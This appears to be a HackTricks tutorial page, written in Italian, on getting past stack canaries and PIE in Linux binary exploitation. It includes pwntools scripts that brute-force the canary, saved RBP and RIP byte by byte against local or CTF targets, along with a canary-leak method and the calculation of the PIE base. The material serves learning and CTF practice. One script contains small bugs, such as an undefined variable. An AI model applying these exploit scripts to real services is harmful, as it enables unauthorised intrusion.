hacktricks/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md
2024-02-10 13:03:23 +00:00

9.2 KiB

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Se ti trovi di fronte a un binario protetto da un canary e da PIE (Position Independent Executable), probabilmente devi trovare un modo per aggirarli.

{% hint style="info" %} Nota che checksec potrebbe non rilevare che un binario è protetto da un canary se è stato compilato staticamente e non è in grado di identificare la funzione.
Tuttavia, puoi notarlo manualmente se trovi che un valore viene salvato nello stack all'inizio di una chiamata di funzione e questo valore viene controllato prima di uscire. {% endhint %}

Forzare il canary

Il modo migliore per aggirare un canary semplice è se il binario è un programma che crea processi figlio ogni volta che viene stabilita una nuova connessione con esso (servizio di rete), perché ogni volta che ti connetti ad esso verrà utilizzato lo stesso canary.

Quindi, il modo migliore per aggirare il canary è semplicemente forzarlo carattere per carattere, e puoi capire se il byte del canary indovinato è corretto controllando se il programma è andato in crash o continua il suo flusso regolare. In questo esempio la funzione forza un canary di 8 byte (x64) e distingue tra un byte indovinato corretto e un byte errato semplicemente controllando se viene inviata una risposta dal server (in altre situazioni potrebbe essere utilizzato un try/except):

Esempio 1

Questo esempio è implementato per 64 bit ma potrebbe essere facilmente implementato per 32 bit.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Esempio 2

Questo è implementato per 32 bit, ma potrebbe essere facilmente modificato per 64 bit.
Inoltre, si noti che per questo esempio il programma si aspetta prima un byte per indicare la dimensione dell'input e del payload.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Stampa il Canary

Un altro modo per bypassare il canary è stamparlo.
Immagina una situazione in cui un programma vulnerabile a un overflow dello stack può eseguire una funzione puts che punta a una parte dell'overflow dello stack. L'attaccante sa che il primo byte del canary è un byte nullo (\x00) e il resto del canary sono byte casuali. Quindi, l'attaccante può creare un overflow che sovrascrive lo stack fino al primo byte del canary.
Successivamente, l'attaccante chiama la funzionalità puts nel mezzo del payload che stamperà tutto il canary (eccetto il primo byte nullo).
Con queste informazioni, l'attaccante può creare e inviare un nuovo attacco conoscendo il canary (nella stessa sessione del programma)

Ovviamente, questa tattica è molto limitata poiché l'attaccante deve essere in grado di stampare il contenuto del suo payload per esfiltrare il canary e quindi essere in grado di creare un nuovo payload (nella stessa sessione del programma) e inviare il vero buffer overflow.
Esempio CTF: https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html

PIE

Per bypassare il PIE è necessario ottenere un indirizzo. E se il binario non sta rivelando nessun indirizzo, il modo migliore per farlo è forzare il RBP e il RIP salvati nello stack nella funzione vulnerabile.
Ad esempio, se un binario è protetto sia da un canary che da PIE, puoi iniziare a forzare il canary, quindi i successivi 8 byte (x64) saranno il RBP salvato e i successivi 8 byte saranno il RIP salvato.

Per forzare il RBP e il RIP dal binario, puoi capire che un byte indovinato è corretto se il programma produce un output o semplicemente non va in crash. La stessa funzione fornita per forzare il canary può essere utilizzata per forzare il RBP e il RIP:

print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Ottenere l'indirizzo di base

L'ultima cosa di cui hai bisogno per sconfiggere il PIE è calcolare gli indirizzi utili dagli indirizzi trapelati: l'RBP e l'RIP.

Dall'RBP puoi calcolare dove stai scrivendo la tua shell nello stack. Questo può essere molto utile per sapere dove stai per scrivere la stringa "/bin/sh\x00" all'interno dello stack. Per calcolare la distanza tra l'RBP trapelato e il tuo shellcode, puoi semplicemente mettere un breakpoint dopo aver trapelato l'RBP e controllare dove si trova il tuo shellcode, quindi puoi calcolare la distanza tra il shellcode e l'RBP:

INI_SHELLCODE = RBP - 1152

Dal RIP è possibile calcolare l'indirizzo di base del file PIE, che è ciò di cui avrai bisogno per creare una catena ROP valida.
Per calcolare l'indirizzo di base, esegui semplicemente objdump -d vunbinary e controlla gli ultimi indirizzi disassemblati:

In questo esempio puoi vedere che è necessario solo 1 byte e mezzo per individuare tutto il codice, quindi, l'indirizzo di base in questa situazione sarà il RIP trapelato ma terminante con "000". Ad esempio, se hai trapelato 0x562002970ecf, l'indirizzo di base sarà 0x562002970000.

elf.address = RIP - (RIP & 0xfff)
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: